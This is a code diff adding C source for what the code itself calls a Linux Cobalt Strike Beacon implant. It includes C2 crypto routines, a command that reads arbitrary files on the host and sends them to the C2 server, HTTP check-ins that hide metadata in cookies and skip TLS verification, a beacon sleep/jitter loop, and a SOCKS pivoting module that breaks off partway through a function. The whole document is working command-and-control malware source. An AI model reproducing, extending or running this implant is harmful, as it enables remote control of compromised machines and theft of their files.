|
||||
}
|
||||
@@ -0,0 +1,209 @@
|
||||
#include "crypto.h"
|
||||
#include "config.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <openssl/rsa.h>
|
||||
#include <openssl/pem.h>
|
||||
#include <openssl/evp.h>
|
||||
#include <openssl/bio.h>
|
||||
#include <openssl/buffer.h>
|
||||
#include <openssl/rand.h>
|
||||
|
||||
int crypto_rsa_encrypt(const uint8_t *plaintext, size_t plaintext_len,
|
||||
uint8_t *ciphertext, size_t *ciphertext_len) {
|
||||
|
||||
// Load RSA public key from DER format
|
||||
const unsigned char *key_ptr = BEACON_PUBLIC_KEY;
|
||||
EVP_PKEY *pkey = d2i_PUBKEY(NULL, &key_ptr, BEACON_PUBLIC_KEY_LEN);
|
||||
|
||||
if (!pkey) {
|
||||
fprintf(stderr, "[!] Failed to load public key\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Create encryption context
|
||||
EVP_PKEY_CTX *ctx = EVP_PKEY_CTX_new(pkey, NULL);
|
||||
if (!ctx) {
|
||||
EVP_PKEY_free(pkey);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Initialize encryption
|
||||
if (EVP_PKEY_encrypt_init(ctx) <= 0) {
|
||||
EVP_PKEY_CTX_free(ctx);
|
||||
EVP_PKEY_free(pkey);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Set padding to PKCS1
|
||||
EVP_PKEY_CTX_set_rsa_padding(ctx, RSA_PKCS1_PADDING);
|
||||
|
||||
// Encrypt
|
||||
if (EVP_PKEY_encrypt(ctx, ciphertext, ciphertext_len,
|
||||
plaintext, plaintext_len) <= 0) {
|
||||
EVP_PKEY_CTX_free(ctx);
|
||||
EVP_PKEY_free(pkey);
|
||||
return -1;
|
||||
}
|
||||
|
||||
EVP_PKEY_CTX_free(ctx);
|
||||
EVP_PKEY_free(pkey);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int crypto_aes_encrypt(const uint8_t *key, const uint8_t *iv,
|
||||
const uint8_t *plaintext, size_t plaintext_len,
|
||||
uint8_t *ciphertext, size_t *ciphertext_len) {
|
||||
|
||||
EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
|
||||
if (!ctx) return -1;
|
||||
|
||||
// Initialize AES-128-CBC
|
||||
if (EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv) != 1) {
|
||||
EVP_CIPHER_CTX_free(ctx);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Disable automatic padding - manual padding required for CS compatibility
|
||||
EVP_CIPHER_CTX_set_padding(ctx, 0);
|
||||
|
||||
// Manually add PKCS7 padding
|
||||
size_t padding_len = 16 - (plaintext_len % 16);
|
||||
size_t padded_len = plaintext_len + padding_len;
|
||||
uint8_t *padded = malloc(padded_len);
|
||||
|
||||
memcpy(padded, plaintext, plaintext_len);
|
||||
// PKCS7: pad with N bytes of value N
|
||||
memset(padded + plaintext_len, (unsigned char)padding_len, padding_len);
|
||||
|
||||
int len;
|
||||
int ciphertext_len_int = 0;
|
||||
|
||||
// Encrypt
|
||||
if (EVP_EncryptUpdate(ctx, ciphertext, &len, padded, padded_len) != 1) {
|
||||
EVP_CIPHER_CTX_free(ctx);
|
||||
free(padded);
|
||||
return -1;
|
||||
}
|
||||
ciphertext_len_int = len;
|
||||
|
||||
// Finalize
|
||||
if (EVP_EncryptFinal_ex(ctx, ciphertext + len, &len) != 1) {
|
||||
EVP_CIPHER_CTX_free(ctx);
|
||||
free(padded);
|
||||
return -1;
|
||||
}
|
||||
ciphertext_len_int += len;
|
||||
|
||||
*ciphertext_len = ciphertext_len_int;
|
||||
|
||||
EVP_CIPHER_CTX_free(ctx);
|
||||
free(padded);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int crypto_aes_decrypt(const uint8_t *key, const uint8_t *iv,
|
||||
const uint8_t *ciphertext, size_t ciphertext_len,
|
||||
uint8_t *plaintext, size_t *plaintext_len) {
|
||||
|
||||
EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
|
||||
if (!ctx) return -1;
|
||||
|
||||
// Initialize AES-128-CBC
|
||||
if (EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv) != 1) {
|
||||
EVP_CIPHER_CTX_free(ctx);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Disable automatic padding - we'll handle it manually
|
||||
EVP_CIPHER_CTX_set_padding(ctx, 0);
|
||||
|
||||
int len;
|
||||
int plaintext_len_int = 0;
|
||||
|
||||
// Decrypt
|
||||
if (EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len) != 1) {
|
||||
EVP_CIPHER_CTX_free(ctx);
|
||||
return -1;
|
||||
}
|
||||
plaintext_len_int = len;
|
||||
|
||||
// Finalize (should not fail now with padding disabled)
|
||||
if (EVP_DecryptFinal_ex(ctx, plaintext + len, &len) != 1) {
|
||||
EVP_CIPHER_CTX_free(ctx);
|
||||
return -1;
|
||||
}
|
||||
plaintext_len_int += len;
|
||||
|
||||
// Remove PKCS7 padding manually
|
||||
if (plaintext_len_int > 0) {
|
||||
unsigned char padding_value = plaintext[plaintext_len_int - 1];
|
||||
|
||||
// Validate padding
|
||||
if (padding_value > 0 && padding_value <= 16) {
|
||||
// Check if all padding bytes have the same value
|
||||
int valid_padding = 1;
|
||||
for (int i = 0; i < padding_value; i++) {
|
||||
if (plaintext[plaintext_len_int - 1 - i] != padding_value) {
|
||||
valid_padding = 0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (valid_padding) {
|
||||
plaintext_len_int -= padding_value;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
*plaintext_len = plaintext_len_int;
|
||||
|
||||
EVP_CIPHER_CTX_free(ctx);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char* base64_encode(const uint8_t *data, size_t len) {
|
||||
BIO *bio, *b64;
|
||||
BUF_MEM *buffer_ptr;
|
||||
|
||||
b64 = BIO_new(BIO_f_base64());
|
||||
bio = BIO_new(BIO_s_mem());
|
||||
bio = BIO_push(b64, bio);
|
||||
|
||||
BIO_set_flags(bio, BIO_FLAGS_BASE64_NO_NL);
|
||||
BIO_write(bio, data, len);
|
||||
BIO_flush(bio);
|
||||
|
||||
BIO_get_mem_ptr(bio, &buffer_ptr);
|
||||
|
||||
char *encoded = malloc(buffer_ptr->length + 1);
|
||||
memcpy(encoded, buffer_ptr->data, buffer_ptr->length);
|
||||
encoded[buffer_ptr->length] = '\0';
|
||||
|
||||
BIO_free_all(bio);
|
||||
|
||||
return encoded;
|
||||
}
|
||||
|
||||
uint8_t* base64_decode(const char *data, size_t *out_len) {
|
||||
BIO *bio, *b64;
|
||||
size_t len = strlen(data);
|
||||
uint8_t *decoded = malloc(len);
|
||||
|
||||
bio = BIO_new_mem_buf(data, len);
|
||||
b64 = BIO_new(BIO_f_base64());
|
||||
bio = BIO_push(b64, bio);
|
||||
|
||||
BIO_set_flags(bio, BIO_FLAGS_BASE64_NO_NL);
|
||||
*out_len = BIO_read(bio, decoded, len);
|
||||
|
||||
BIO_free_all(bio);
|
||||
|
||||
return decoded;
|
||||
}
|
||||
|
||||
void crypto_random_bytes(uint8_t *buffer, size_t len) {
|
||||
RAND_bytes(buffer, len);
|
||||
}
|
||||
@@ -0,0 +1,172 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <unistd.h>
|
||||
#include <limits.h>
|
||||
|
||||
#include "files.h"
|
||||
#include "commands.h"
|
||||
#include "debug.h"
|
||||
|
||||
#define MAX_PACKET_SIZE 1024 * 1024 // 1MB chunks
|
||||
|
||||
typedef struct file_entry {
|
||||
uint32_t id;
|
||||
uint32_t toread;
|
||||
FILE *handle;
|
||||
struct file_entry *next;
|
||||
} file_entry;
|
||||
|
||||
static file_entry *download_list = NULL;
|
||||
static uint32_t download_id = 1;
|
||||
static char *read_buffer = NULL;
|
||||
|
||||
void process_close(file_entry *entry);
|
||||
|
||||
void command_download(const uint8_t *data, size_t data_len) {
|
||||
if (data_len == 0 || data_len > 1024) {
|
||||
send_output_to_server((uint8_t*)"Invalid filename length", 23, CALLBACK_ERROR);
|
||||
return;
|
||||
}
|
||||
|
||||
char *fname = malloc(data_len + 1);
|
||||
if (!fname) return;
|
||||
memcpy(fname, data, data_len);
|
||||
fname[data_len] = '\0';
|
||||
|
||||
FILE *infile = fopen(fname, "rb");
|
||||
if (!infile) {
|
||||
char err_msg[1024];
|
||||
int len = snprintf(err_msg, sizeof(err_msg), "Failed to open file: %s", fname);
|
||||
send_output_to_server((uint8_t*)err_msg, len, CALLBACK_ERROR);
|
||||
free(fname);
|
||||
return;
|
||||
}
|
||||
|
||||
fseek(infile, 0L, SEEK_END);
|
||||
long long fsz = ftell(infile);
|
||||
fseek(infile, 0L, SEEK_SET);
|
||||
|
||||
if (fsz <= 0 || fsz > 0xffffffffLL) {
|
||||
send_output_to_server((uint8_t*)"Invalid file size or file is empty", 34, CALLBACK_ERROR);
|
||||
fclose(infile);
|
||||
free(fname);
|
||||
return;
|
||||
}
|
||||
|
||||
char fullname[PATH_MAX];
|
||||
if (realpath(fname, fullname) == NULL) {
|
||||
strncpy(fullname, fname, PATH_MAX);
|
||||
}
|
||||
|
||||
file_entry *entry = (file_entry *)malloc(sizeof(file_entry));
|
||||
entry->handle = infile;
|
||||
entry->id = download_id++;
|
||||
entry->toread = fsz;
|
||||
entry->next = download_list;
|
||||
download_list = entry;
|
||||
|
||||
size_t path_len = strlen(fullname);
|
||||
size_t buffer_len = 4 + 4 + path_len;
|
||||
uint8_t *out_buf = malloc(buffer_len);
|
||||
if (!out_buf) {
|
||||
fclose(infile);
|
||||
free(fname);
|
||||
return;
|
||||
}
|
||||
|
||||
uint32_t id_be = htonl(entry->id);
|
||||
uint32_t size_be = htonl(fsz);
|
||||
|
||||
memcpy(out_buf, &id_be, 4);
|
||||
memcpy(out_buf + 4, &size_be, 4);
|
||||
memcpy(out_buf + 8, fullname, path_len);
|
||||
|
||||
send_output_to_server(out_buf, buffer_len, CALLBACK_FILE);
|
||||
|
||||
free(out_buf);
|
||||
free(fname);
|
||||
|
||||
if (fsz == 0) {
|
||||
process_close(entry);
|
||||
}
|
||||
}
|
||||
|
||||
void process_download(file_entry *entry) {
|
||||
if (!read_buffer) {
|
||||
read_buffer = (char *)malloc(4 + MAX_PACKET_SIZE);
|
||||
if (!read_buffer) return;
|
||||
}
|
||||
|
||||
uint32_t id_be = htonl(entry->id);
|
||||
memcpy(read_buffer, &id_be, 4);
|
||||
|
||||
size_t to_read_now = (entry->toread > MAX_PACKET_SIZE) ? MAX_PACKET_SIZE : entry->toread;
|
||||
|
||||
size_t bytes_read = fread(read_buffer + 4, 1, to_read_now, entry->handle);
|
||||
|
||||
if (bytes_read > 0) {
|
||||
send_output_to_server((uint8_t*)read_buffer, bytes_read + 4, CALLBACK_FILE_WRITE);
|
||||
entry->toread -= bytes_read;
|
||||
} else {
|
||||
// Error or EOF
|
||||
entry->toread = 0;
|
||||
}
|
||||
|
||||
process_close(entry);
|
||||
}
|
||||
|
||||
void process_close(file_entry *entry) {
|
||||
if (entry->toread <= 0) {
|
||||
uint32_t id_be = htonl(entry->id);
|
||||
send_output_to_server((uint8_t*)&id_be, 4, CALLBACK_FILE_CLOSE);
|
||||
fclose(entry->handle);
|
||||
}
|
||||
}
|
||||
|
||||
void command_download_stop(const uint8_t *data, size_t data_len) {
|
||||
if (data_len < 4) return;
|
||||
|
||||
uint32_t fid = ntohl(*(uint32_t*)data);
|
||||
file_entry *entry = download_list;
|
||||
while (entry != NULL) {
|
||||
if (entry->id == fid) {
|
||||
entry->toread = 0;
|
||||
fclose(entry->handle);
|
||||
break;
|
||||
}
|
||||
entry = entry->next;
|
||||
}
|
||||
}
|
||||
|
||||
void download_poll() {
|
||||
file_entry *entry = download_list;
|
||||
file_entry *prev = NULL;
|
||||
|
||||
while (entry != NULL) {
|
||||
if (entry->toread > 0) {
|
||||
process_download(entry);
|
||||
}
|
||||
entry = entry->next;
|
||||
}
|
||||
|
||||
entry = download_list;
|
||||
while (entry != NULL) {
|
||||
if (entry->toread <= 0) {
|
||||
if (prev == NULL) {
|
||||
download_list = entry->next;
|
||||
free(entry);
|
||||
entry = download_list;
|
||||
} else {
|
||||
prev->next = entry->next;
|
||||
free(entry);
|
||||
entry = prev->next;
|
||||
}
|
||||
} else {
|
||||
prev = entry;
|
||||
entry = entry->next;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,219 @@
|
||||
#include "http.h"
|
||||
#include "crypto.h"
|
||||
#include "config.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <curl/curl.h>
|
||||
#include "debug.h"
|
||||
|
||||
// Callback for CURL to write response data
|
||||
static size_t write_callback(void *contents, size_t size, size_t nmemb, void *userp) {
|
||||
size_t real_size = size * nmemb;
|
||||
http_response_t *response = (http_response_t *)userp;
|
||||
|
||||
char *new_data = realloc(response->data, response->size + real_size + 1);
|
||||
if (!new_data) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
response->data = new_data;
|
||||
memcpy(response->data + response->size, contents, real_size);
|
||||
response->size += real_size;
|
||||
response->data[response->size] = 0;
|
||||
|
||||
return real_size;
|
||||
}
|
||||
|
||||
int http_get(const char *uri,
|
||||
const uint8_t *metadata,
|
||||
size_t metadata_len,
|
||||
http_response_t *response)
|
||||
{
|
||||
CURL *curl;
|
||||
CURLcode res;
|
||||
long response_code;
|
||||
|
||||
response->data = NULL;
|
||||
response->size = 0;
|
||||
|
||||
curl = curl_easy_init();
|
||||
if (!curl) {
|
||||
ERROR_PRINT("Failed to initialize CURL\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Build full URL
|
||||
char url[512];
|
||||
#if C2_USE_HTTPS == 0
|
||||
snprintf(url, sizeof(url), "http://%s:%d%s", C2_SERVER, C2_PORT, uri);
|
||||
#else
|
||||
snprintf(url, sizeof(url), "https://%s:%d%s", C2_SERVER, C2_PORT, uri);
|
||||
// The following two options are needed to support teamserver with untrusted (such as self-signed) certificates
|
||||
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
|
||||
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
|
||||
#endif
|
||||
|
||||
//DEBUG_PRINT("GET URL: %s\n", url);
|
||||
//DEBUG_PRINT("Metadata length: %zu bytes\n", metadata_len);
|
||||
|
||||
// Setup headers
|
||||
struct curl_slist *headers = NULL;
|
||||
|
||||
// Static headers
|
||||
headers = curl_slist_append(headers, HTTP_ACCEPT_HEADER);
|
||||
headers = curl_slist_append(headers, HTTP_CONNECTION_HEADER);
|
||||
headers = curl_slist_append(headers, HTTP_CACHE_CONTROL_HEADER);
|
||||
|
||||
// User-Agent
|
||||
char ua_header[512];
|
||||
snprintf(ua_header, sizeof(ua_header), "User-Agent: %s", USER_AGENT);
|
||||
headers = curl_slist_append(headers, ua_header);
|
||||
|
||||
// Cookie header (only if metadata present)
|
||||
if (metadata && metadata_len > 0) {
|
||||
char *b64_metadata = base64_encode(metadata, metadata_len);
|
||||
if (!b64_metadata) {
|
||||
ERROR_PRINT("Failed to base64 encode metadata\n");
|
||||
curl_slist_free_all(headers);
|
||||
curl_easy_cleanup(curl);
|
||||
return -1;
|
||||
}
|
||||
|
||||
char cookie_header[4096];
|
||||
snprintf(cookie_header, sizeof(cookie_header), "Cookie: %s", b64_metadata);
|
||||
headers = curl_slist_append(headers, cookie_header);
|
||||
|
||||
free(b64_metadata);
|
||||
}
|
||||
|
||||
// Configure CURL
|
||||
curl_easy_setopt(curl, CURLOPT_URL, url);
|
||||
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
|
||||
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);
|
||||
curl_easy_setopt(curl, CURLOPT_WRITEDATA, response);
|
||||
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 30L);
|
||||
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
|
||||
|
||||
// #ifdef DEBUG
|
||||
// curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
|
||||
// #endif
|
||||
|
||||
// Perform request
|
||||
res = curl_easy_perform(curl);
|
||||
|
||||
// Response code
|
||||
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &response_code);
|
||||
//DEBUG_PRINT("HTTP Response Code: %ld\n", response_code);
|
||||
//DEBUG_PRINT("Response size: %zu bytes\n", response->size);
|
||||
|
||||
// Cleanup
|
||||
curl_slist_free_all(headers);
|
||||
curl_easy_cleanup(curl);
|
||||
|
||||
if (res != CURLE_OK) {
|
||||
ERROR_PRINT("CURL error: %s\n", curl_easy_strerror(res));
|
||||
free(response->data);
|
||||
response->data = NULL;
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (response_code != 200) {
|
||||
ERROR_PRINT("Server returned HTTP %ld\n", response_code);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int http_post(const char *uri, const uint8_t *data, size_t data_len,
|
||||
const char *session_id, http_response_t *response) {
|
||||
|
||||
// Build packet structure:
|
||||
// [Total Length: 4 bytes - UNENCRYPTED, BIG-endian] <- size of encrypted data only
|
||||
// [ENCRYPTED: Counter:4 | Data Size:4 | Type:4 | Task Data:N]
|
||||
// [HMAC: 16 bytes]
|
||||
|
||||
CURL *curl;
|
||||
CURLcode res;
|
||||
long response_code;
|
||||
|
||||
response->data = NULL;
|
||||
response->size = 0;
|
||||
|
||||
curl = curl_easy_init();
|
||||
if (!curl) {
|
||||
ERROR_PRINT("Failed to initialize CURL\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Build full URL with session ID parameter
|
||||
char url[512];
|
||||
#if C2_USE_HTTPS == 0
|
||||
snprintf(url, sizeof(url), "http://%s:%d%s?id=%s", C2_SERVER, C2_PORT, uri, session_id);
|
||||
#else
|
||||
snprintf(url, sizeof(url), "https://%s:%d%s?id=%s", C2_SERVER, C2_PORT, uri, session_id);
|
||||
// The following two options are needed to support teamserver with untrusted (such as self-signed) certificates
|
||||
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
|
||||
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
|
||||
#endif
|
||||
|
||||
DEBUG_PRINT("POST URL: %s\n", url);
|
||||
DEBUG_PRINT("POST data length: %zu bytes\n", data_len);
|
||||
|
||||
// Setup headers
|
||||
struct curl_slist *headers = NULL;
|
||||
headers = curl_slist_append(headers, "Content-Type: application/octet-stream");
|
||||
|
||||
char ua_header[512];
|
||||
snprintf(ua_header, sizeof(ua_header), "User-Agent: %s", USER_AGENT);
|
||||
headers = curl_slist_append(headers, ua_header);
|
||||
|
||||
// Configure CURL
|
||||
curl_easy_setopt(curl, CURLOPT_URL, url);
|
||||
curl_easy_setopt(curl, CURLOPT_POST, 1L);
|
||||
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, data);
|
||||
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)data_len);
|
||||
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
|
||||
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);
|
||||
curl_easy_setopt(curl, CURLOPT_WRITEDATA, response);
|
||||
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 30L);
|
||||
|
||||
// #ifdef DEBUG
|
||||
// curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
|
||||
// #endif
|
||||
|
||||
// Perform the request
|
||||
res = curl_easy_perform(curl);
|
||||
|
||||
// Get response code
|
||||
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &response_code);
|
||||
DEBUG_PRINT("HTTP Response Code: %ld\n", response_code);
|
||||
DEBUG_PRINT("Response size: %zu bytes\n", response->size);
|
||||
|
||||
// Cleanup
|
||||
curl_slist_free_all(headers);
|
||||
curl_easy_cleanup(curl);
|
||||
|
||||
if (res != CURLE_OK) {
|
||||
ERROR_PRINT("CURL error: %s\n", curl_easy_strerror(res));
|
||||
if (response->data) {
|
||||
free(response->data);
|
||||
response->data = NULL;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (response_code != 200) {
|
||||
ERROR_PRINT("Server returned HTTP %ld\n", response_code);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void http_response_free(http_response_t *response) {
|
||||
if (response->data) {
|
||||
free(response->data);
|
||||
response->data = NULL;
|
||||
}
|
||||
response->size = 0;
|
||||
}
|
||||
@@ -0,0 +1,91 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <signal.h>
|
||||
#include "beacon.h"
|
||||
#include "config.h"
|
||||
#include "debug.h"
|
||||
#include "files.h"
|
||||
#include "pivot.h"
|
||||
|
||||
#define IMPLANT_VERSION "v2.3.7"
|
||||
|
||||
static int running = 1;
|
||||
|
||||
// Global beacon state for commands to access
|
||||
beacon_state_t *g_beacon_state = NULL;
|
||||
|
||||
// Global sleep configuration (can be updated by SLEEP command)
|
||||
int g_sleep_time_ms = SLEEP_TIME;
|
||||
int g_jitter_percent = JITTER;
|
||||
|
||||
|
||||
// Forward declaration for the callback function in commands.c
|
||||
void pivot_callback_func(const char * buffer, int length, int type);
|
||||
|
||||
void signal_handler(int sig)
|
||||
{
|
||||
(void)sig;
|
||||
running = 0;
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
beacon_state_t state;
|
||||
|
||||
// Set global beacon state
|
||||
g_beacon_state = &state;
|
||||
|
||||
// Setup signal handlers
|
||||
signal(SIGINT, signal_handler);
|
||||
signal(SIGTERM, signal_handler);
|
||||
|
||||
DEBUG_PRINT("Linux Cobalt Strike Beacon %s\n", IMPLANT_VERSION);
|
||||
DEBUG_PRINT("C2 Server: %s:%d\n", C2_SERVER, C2_PORT);
|
||||
DEBUG_PRINT("Sleep: %dms, Jitter: %d%%\n", g_sleep_time_ms, g_jitter_percent);
|
||||
DEBUG_PRINT("HTTPS value: %d\n", C2_USE_HTTPS);
|
||||
|
||||
// Initialize beacon
|
||||
if (beacon_init(&state) != 0) {
|
||||
DEBUG_PRINT("Failed to initialize beacon\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
pivot_init();
|
||||
DEBUG_PRINT("Beacon initialized\n");
|
||||
|
||||
// Initial check-in
|
||||
DEBUG_PRINT("Performing initial check-in...\n");
|
||||
|
||||
// Main beacon loop
|
||||
while (running)
|
||||
{
|
||||
download_poll();
|
||||
// Check in with server
|
||||
if (beacon_checkin(&state) == 0)
|
||||
{
|
||||
DEBUG_PRINT("Check-in successful (%s)\n", IMPLANT_VERSION);
|
||||
}
|
||||
|
||||
// Poll SOCKS sockets
|
||||
pivot_poll(pivot_callback_func);
|
||||
|
||||
|
||||
usleep(10000); // 10ms delay to prevent fast loops
|
||||
|
||||
// Sleep with jitter (use global variables)
|
||||
if (g_sleep_time_ms < 200) {
|
||||
g_sleep_time_ms = 200;
|
||||
g_jitter_percent = 0;
|
||||
}
|
||||
|
||||
beacon_sleep();
|
||||
}
|
||||
|
||||
DEBUG_PRINT("\n[*] Shutting down beacon...\n");
|
||||
pivot_cleanup();
|
||||
beacon_cleanup(&state);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,438 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netdb.h>
|
||||
#include <fcntl.h>
|
||||
#include <time.h>
|
||||
#include "pivot.h"
|
||||
#include "debug.h"
|
||||
#include "commands.h" // For callback types
|
||||
|
||||
static socket_entry_t *g_pivot_list = NULL;
|
||||
static char *g_read_buffer = NULL;
|
||||
static uint32_t g_lsock_id = 0;
|
||||
|
||||
static uint64_t get_monotonic_ms() {
|
||||
struct timespec ts;
|
||||
clock_gettime(CLOCK_MONOTONIC, &ts);
|
||||
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
|
||||
}
|
||||
|
||||
static uint32_t next_id() {
|
||||
return (g_lsock_id++ % 67108864) + 67108864;
|
||||
}
|
||||
|
||||
static void _add_socket(int socket_fd, int id, int timeout, uint32_t ltype, uint16_t lport, int state) {
|
||||
socket_entry_t *entry = (socket_entry_t *)malloc(sizeof(socket_entry_t));
|
||||
if (!entry) {
|
||||
ERROR_PRINT("SOCKS: Failed to allocate memory for socket_entry\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// Set socket to non-blocking
|
||||
int flags = fcntl(socket_fd, F_GETFL, 0);
|
||||
fcntl(socket_fd, F_SETFL, flags | O_NONBLOCK);
|
||||
|
||||
entry->id = id;
|
||||
entry->socket = socket_fd;
|
||||
entry->state = state;
|
||||
entry->ltype = ltype;
|
||||
entry->lport = lport;
|
||||
entry->start_time = get_monotonic_ms();
|
||||
entry->timeout = timeout;
|
||||
entry->linger_time = 0;
|
||||
entry->next = g_pivot_list;
|
||||
g_pivot_list = entry;
|
||||
|
||||
DEBUG_PRINT("[SOCKS] Added socket fd:%d with id:%u to pivot list (state: %d)\n", socket_fd, id, state);
|
||||
}
|
||||
|
||||
static int generic_listen(uint32_t bindto, uint16_t port, int backlog) {
|
||||
int sock_fd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (sock_fd < 0) {
|
||||
ERROR_PRINT("SOCKS: socket() failed: %s\n", strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Allow reuse of address
|
||||
int opt = 1;
|
||||
if (setsockopt(sock_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)) < 0) {
|
||||
ERROR_PRINT("SOCKS: setsockopt(SO_REUSEADDR) failed: %s\n", strerror(errno));
|
||||
close(sock_fd);
|
||||
return -1;
|
||||
}
|
||||
|
||||
struct sockaddr_in addr;
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(port);
|
||||
addr.sin_addr.s_addr = bindto;
|
||||
|
||||
if (bind(sock_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
|
||||
ERROR_PRINT("SOCKS: bind() failed for port %d: %s\n", port, strerror(errno));
|
||||
close(sock_fd);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (listen(sock_fd, backlog) < 0) {
|
||||
ERROR_PRINT("SOCKS: listen() failed: %s\n", strerror(errno));
|
||||
close(sock_fd);
|
||||
return -1;
|
||||
}
|
||||
|
||||
DEBUG_PRINT("[SOCKS] generic_listen on port %d successful (fd: %d)\n", port, sock_fd);
|
||||
return sock_fd;
|
||||
}
|
||||
|
||||
static void pivot_poll_checker(pivot_callback callback) {
|
||||
fd_set fds_read, fds_write, fds_error;
|
||||
struct timeval tv = {0, 10 * 1000}; // 10ms timeout
|
||||
int max_fd = 0;
|
||||
socket_entry_t *temp = g_pivot_list;
|
||||
|
||||
FD_ZERO(&fds_read);
|
||||
FD_ZERO(&fds_write);
|
||||
FD_ZERO(&fds_error);
|
||||
|
||||
while (temp != NULL) {
|
||||
if (temp->state == STATE_CONNECT) {
|
||||
FD_SET(temp->socket, &fds_read);
|
||||
FD_SET(temp->socket, &fds_write);
|
||||
FD_SET(temp->socket, &fds_error);
|
||||
if (temp->socket > max_fd) max_fd = temp->socket;
|
||||
}
|
||||
temp = temp->next;
|
||||
}
|
||||
|
||||
if (max_fd == 0) return;
|
||||
|
||||
int ret = select(max_fd + 1, &fds_read, &fds_write, &fds_error, &tv);
|
||||
if (ret < 0) {
|
||||
ERROR_PRINT("[SOCKS] checker select() error: %s\n", strerror(errno));
|
||||
return;
|
||||
}
|
||||
if (ret == 0) return;
|
||||
|
||||
temp = g_pivot_list;
|
||||
while (temp != NULL) {
|
||||
socket_entry_t* next = temp->next; // Save next pointer in case temp is modified
|
||||
if (temp->state != STATE_CONNECT) {
|
||||
temp = next;
|
||||
continue;
|
||||
}
|
||||
|
||||
uint32_t fid_be = htonl(temp->id);
|
||||
|
||||
if (FD_ISSET(temp->socket, &fds_error)) {
|
||||
DEBUG_PRINT("[SOCKS] id:%u (fd:%d) dead on arrival (error set).\n", temp->id, temp->socket);
|
||||
temp->state = STATE_DEAD;
|
||||
callback((char *)&fid_be, sizeof(fid_be), CALLBACK_CLOSE);
|
||||
} else if (temp->ltype == LISTEN_ONEOFF) { // This is a listening socket
|
||||
if (FD_ISSET(temp->socket, &fds_read)) {
|
||||
int lsock = temp->socket;
|
||||
int new_sock = accept(lsock, NULL, NULL);
|
||||
if (new_sock < 0) {
|
||||
DEBUG_PRINT("[SOCKS] accept() failed for listener id:%u (fd:%d): %s\n", temp->id, lsock, strerror(errno));
|
||||
temp->state = STATE_DEAD;
|
||||
callback((char *)&fid_be, sizeof(fid_be), CALLBACK_CLOSE);
|
||||
} else {
|
||||
DEBUG_PRINT("[SOCKS] Accepted new connection (fd:%d) for listener id:%u. Replacing socket in pivot entry.\n", new_sock, temp->id);
|
||||
temp->socket = new_sock;
|
||||
temp->state = STATE_READ;
|
||||
temp->ltype = LISTEN_NOTREALLY;
|
||||
close(lsock);
|
||||
callback((char *)&fid_be, sizeof(fid_be), CALLBACK_CONNECT);
|
||||
}
|
||||
}
|
||||
} else { // This is an outgoing connecting socket
|
||||
